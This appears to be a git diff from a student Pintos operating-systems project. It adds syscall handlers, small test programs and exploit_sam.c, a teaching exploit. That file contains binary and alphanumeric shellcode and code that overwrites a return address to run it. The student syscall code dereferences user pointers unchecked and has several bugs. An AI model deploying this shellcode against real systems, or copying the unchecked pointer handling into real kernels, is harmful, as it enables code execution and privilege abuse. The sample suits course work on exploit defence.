diff --git a/src/examples/Makefile b/src/examples/Makefile index 41a663d610cb89d30b7aa0277a644b0f63a2c0c5..264a53544382589dcbf5031db4cc218e7bdac6ac 100644 --- a/src/examples/Makefile +++ b/src/examples/Makefile @@ -4,7 +4,7 @@ SRCDIR = .. # To add a new test, put its name on the PROGS list # and then add a name_SRC line that lists its source files. PROGS = cat cmp cp echo halt hex-dump ls mcat mcp mkdir pwd rm shell \ - bubsort insult lineup matmult recursor my + bubsort insult lineup matmult recursor my create remove exec exit open close exploit_sam overflow # Should work from project 2 onward. cat_SRC = cat.c @@ -19,6 +19,14 @@ ls_SRC = ls.c recursor_SRC = recursor.c rm_SRC = rm.c my_SRC = my.c +create_SRC = create.c +remove_SRC = remove.c +open_SRC = open.c +close_SRC = close.c +exit_SRC = exit.c +exec_SRC = exec.c +exploit_sam_SRC = exploit_sam.c +overflow_SRC = overflow.c # Should work in project 3; also in project 4 if VM is included. bubsort_SRC = bubsort.c diff --git a/src/examples/close.c b/src/examples/close.c new file mode 100644 index 0000000000000000000000000000000000000000..2f428179b2036f1163017a9affc6a27974ecef37 --- /dev/null +++ b/src/examples/close.c @@ -0,0 +1,13 @@ +/* close.c + + closes file decriptor fd */ + +#include <syscall.h> +#include <stdio.h> + +int +main (int argc, char *argv[]) +{ + close (argv[1]); + /* not reached */ +} diff --git a/src/examples/create.c b/src/examples/create.c new file mode 100644 index 0000000000000000000000000000000000000000..f8f95f7008f7f8af7bf1b5120c72e6789800876a --- /dev/null +++ b/src/examples/create.c @@ -0,0 +1,15 @@ +/* create.c + + Simple program to test whether running a user program works. + + Just invokes a system call that shuts down the OS. */ + +#include <syscall.h> +#include <stdio.h> + +int +main (int argc, char *argv[]) +{ + create (argv[1], 200); + /* not reached */ +} diff --git a/src/examples/exec.c b/src/examples/exec.c new file mode 100644 index 0000000000000000000000000000000000000000..344ee70e1cdc8efd25f44c1fa5c1e1947ec06ad2 --- /dev/null +++ b/src/examples/exec.c @@ -0,0 +1,13 @@ +/* exec.c + + Runs give executable name */ + +#include <syscall.h> +#include <stdio.h> + +int +main (int argc, char *argv[]) +{ + exec (argv[2]); + /* not reached */ +} diff --git a/src/examples/exploit_sam.c b/src/examples/exploit_sam.c new file mode 100644 index 0000000000000000000000000000000000000000..6c05150310712dba6f13923f46ad2b17be6c9d29 --- /dev/null +++ b/src/examples/exploit_sam.c @@ -0,0 +1,83 @@ +/* klaar@ida + + pintos -v --fs-disk=2 -p ../examples/crack -a crack -p ../examples/shellcode -a shellcode -- -f -q run 'shellcode' + + -*- Woahhh, have fun -*- + http://www.phrack.org/issues.html?issue=49&id=14#article + http://www.phrack.org/issues.html?issue=57&id=15#article + + Somewhat simpler to achieve in Pintos actually. + */ + +#include <syscall.h> + +#if 0 +/* This it the below assembly code in binary form. It runs. To get it, + * just compile the code below and use the debugger to dump the code + * in the main function. */ + + /* Taken from https://packetstormsecurity.com/files/133481/Linux-x86-Create-File-With-7775-Permissions-Shellcode.html + + */ +unsigned char shellcode[] = +"\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23"; + +#else +/* And this is rather scary amazing... This is also the below + * assembly code in binary form, but now using ONLY alphanumeric + * characters. It works flawless... Using something like isalpha() on + * input does not prevent crackers to exploit buffer overflows. + */ +char shellcode[] = + "LLLLZh7JWUX57JWUHPSPPSRPPaWPVUUF" + "VDNfhKZfXf5vOfPDRPaAjeY0Lka0Tkah" + "9bdUY1LkbjIY0Lkg0tkhjUX0Dkk0Tkkj" + "8Y0Lkm0tkohEJZuX1Dkq1TkqjHY0Lku0" + "tkuCjqX0Dkzs2bdUjK201jPxP20REZuH" + "crackq"; +#endif + +int main( void ) +{ +#if 1 + int *ret; /* A local variable is stored on the stack. */ + + ret = (int *)&ret + 2; /* Two steps above in the stack is the + * address to continue at when main + * return... the normal function return + * address. */ + (*ret) = (int)shellcode; /* We overwrite it with the address to the + * shell code. This will check that the + * shell code works as expected. */ + return 0; +#else + /* Assembler code to do the following: + * + * exec("crack"); + * exit(); + * + * Apparently the code 0x01 can not be sent as input to pintos, so + * it can not be part of any instruction. Reason unknown. Theory: + * 0x01 may be grabbed as Ctrl-a by QEMU ? + * + * Translate push 0x01 ==> ... push %eax + * + * The tricky part is to figure out at which address the name of the + * program to start is stored. The call instruction solves it + * nicely. It saves the following address as return address. + */ + + __asm__("jmp 0x0f;" /* jump to CALL */ +/* actual address of string pushed as return address by CALL */ + "push $0x2;" /* push EXEC syscall number */ + "int $0x30;" /* make syscall */ + "xor %eax,%eax;" /* load 0 in eax */ + "push %eax;" /* push exit_status */ + "inc %eax;" /* inc eax to 1 */ + "push %eax;" /* push EXIT syscall number */ + "int $0x30;" /* make syscall */ +/* CALL */"call -0x0C;" /* jumps back again */ + ".string \"crack\";" /* program to start */ + ); +#endif +} diff --git a/src/examples/open.c b/src/examples/open.c new file mode 100644 index 0000000000000000000000000000000000000000..5a48d388cee25af6e52c41eaf0a586dc2ead1261 --- /dev/null +++ b/src/examples/open.c @@ -0,0 +1,13 @@ +/* open.c + + Opens given file */ + +#include <syscall.h> +#include <stdio.h> + +int +main (int argc, char *argv[]) +{ + open (argv[1]); + /* not reached */ +} diff --git a/src/examples/remove.c b/src/examples/remove.c new file mode 100644 index 0000000000000000000000000000000000000000..982762f657562031d9e7907e638ee8e8aaa95d5f --- /dev/null +++ b/src/examples/remove.c @@ -0,0 +1,13 @@ +/* remove.c + + Removes a given file from the disk */ + +#include <syscall.h> +#include <stdio.h> + +int +main (int argc, char *argv[]) +{ + remove (argv[1]); + /* not reached */ +} diff --git a/src/threads/thread.h b/src/threads/thread.h index 093bcddeb82e3c52182ff182c8c832d90f695908..8e54af72bb9383ec54065b994cde783645aaf588 100644 --- a/src/threads/thread.h +++ b/src/threads/thread.h @@ -92,6 +92,12 @@ struct thread /* Shared between thread.c and synch.c. */ struct list_elem elem; /* List element. */ + + char fd_table[128]; /* List of file descriptors */ + int next_fd; /* Next available file descriptor */ + int fd; /* File descriptor */ + int exit_status; /* exit status of thread */ + #ifdef USERPROG /* Owned by userprog/process.c. */ diff --git a/src/userprog/exception.c b/src/userprog/exception.c index 19aca125e331783bad87330e8e7213f72072e580..d4d3ad7b2365099e7daea53013a7f9a96c6c4c84 100644 --- a/src/userprog/exception.c +++ b/src/userprog/exception.c @@ -4,6 +4,9 @@ #include "userprog/gdt.h" #include "threads/interrupt.h" #include "threads/thread.h" +#include "threads/vaddr.h" +#include "threads/palloc.h" +#include "userprog/pagedir.h" /* Number of page faults processed. */ static long long page_fault_cnt; diff --git a/src/userprog/syscall.c b/src/userprog/syscall.c index 08e82c9e8b11053771fc565e7464ba1239bacf89..664bfc093c24d17ad4995a61c2dc91997c63093f 100644 --- a/src/userprog/syscall.c +++ b/src/userprog/syscall.c @@ -1,13 +1,22 @@ #include "userprog/syscall.h" #include <stdio.h> #include <syscall-nr.h> +#include <userprog/process.h> #include "threads/interrupt.h" #include "threads/thread.h" #include "devices/shutdown.h" +#include "filesys/filesys.h" +#include "filesys/file.h" + static void syscall_handler (struct intr_frame *); void syscall_exit(int status); void syscall_halt(void); +bool syscall_create(const char *, unsigned); +bool syscall_remove(const char*); +int syscall_open(const char *file); +void syscall_close(int fd); +tid_t syscall_exec(const char* cmd_line); void syscall_init (void) @@ -21,6 +30,7 @@ syscall_handler (struct intr_frame *f) { printf ("system call!\n"); int sys_code = *(int*)f->esp; + int *ptr = f->esp; printf("System call number: %d\n", sys_code); @@ -28,7 +38,7 @@ syscall_handler (struct intr_frame *f) case SYS_EXIT: printf("Running SYS_EXIT\n"); - //syscall_exit(); + syscall_exit(*(ptr+1)); break; case SYS_HALT: @@ -36,6 +46,32 @@ syscall_handler (struct intr_frame *f) syscall_halt(); break; + case SYS_CREATE: + printf("Running SYS_CREATE\n"); + f->eax = syscall_create(*(ptr+4), *(ptr+5)); + break; + + case SYS_REMOVE: + printf("Running SYS_REMOVE\n"); + f->eax = syscall_remove(*(ptr+1)); + break; + + case SYS_OPEN: + printf("Running SYS_OPEN\n"); + int ret_open = syscall_open((const char*)*(ptr+1)); + f->eax = ret_open; + break; + + case SYS_CLOSE: + printf("Running SYS_CLOSE\n"); + syscall_close(*(ptr+1)); + break; + + case SYS_EXEC: + printf("Running SYS_EXEC\n"); + f->eax = syscall_exec(*(ptr+1)); + break; + default: printf("Unknown Syscall number\n"); break; @@ -44,12 +80,75 @@ syscall_handler (struct intr_frame *f) thread_exit (); } +/**************************************** + System Call Implementations +*****************************************/ -/* System Call Implementations*/ - -void syscall_exit(int status); +/* Exits the current process */ +void syscall_exit(int status) +{ + thread_exit(); +} +/* Shuts system down immediately */ void syscall_halt() { shutdown_power_off(); } + +/* Runs a given executable */ +tid_t syscall_exec(const char* cmd_line) +{ + tid_t tid = process_execute(cmd_line); + return tid; +} + +/* Create file but does not open it */ +bool syscall_create(const char * file, unsigned initial_size) +{ + if (file == NULL) + return false; + + bool create_success = filesys_create(file, initial_size); + printf("Creating file\n"); + printf("%s", create_success? "File Created\n":"File Not Created\n"); + return create_success; +} + +/* Removes file from disk */ +bool syscall_remove(const char* file) +{ + if (file == NULL) + return false; + bool remove_success = filesys_remove(file); + return remove_success; +} + +/* Opens given file */ +int syscall_open(const char *file) +{ + struct file *data = filesys_open(file); + if (data == NULL) + return -1; + int fd = 2; + while (fd < 128) + { + if (thread_current()->fd_table[fd] == NULL) + { + thread_current()->fd_table[fd] = data; + return fd; + printf("Open system call\n"); + } + return -1; + } +} + +/* Closes given file */ +void syscall_close(int fd) +{ + struct thread *cur = thread_current(); + struct file *f = cur->fd_table[fd]; + printf("%s: close(%d)\n", cur->name, fd); + file_close(f); + printf("Close system call\n"); +} \ No newline at end of file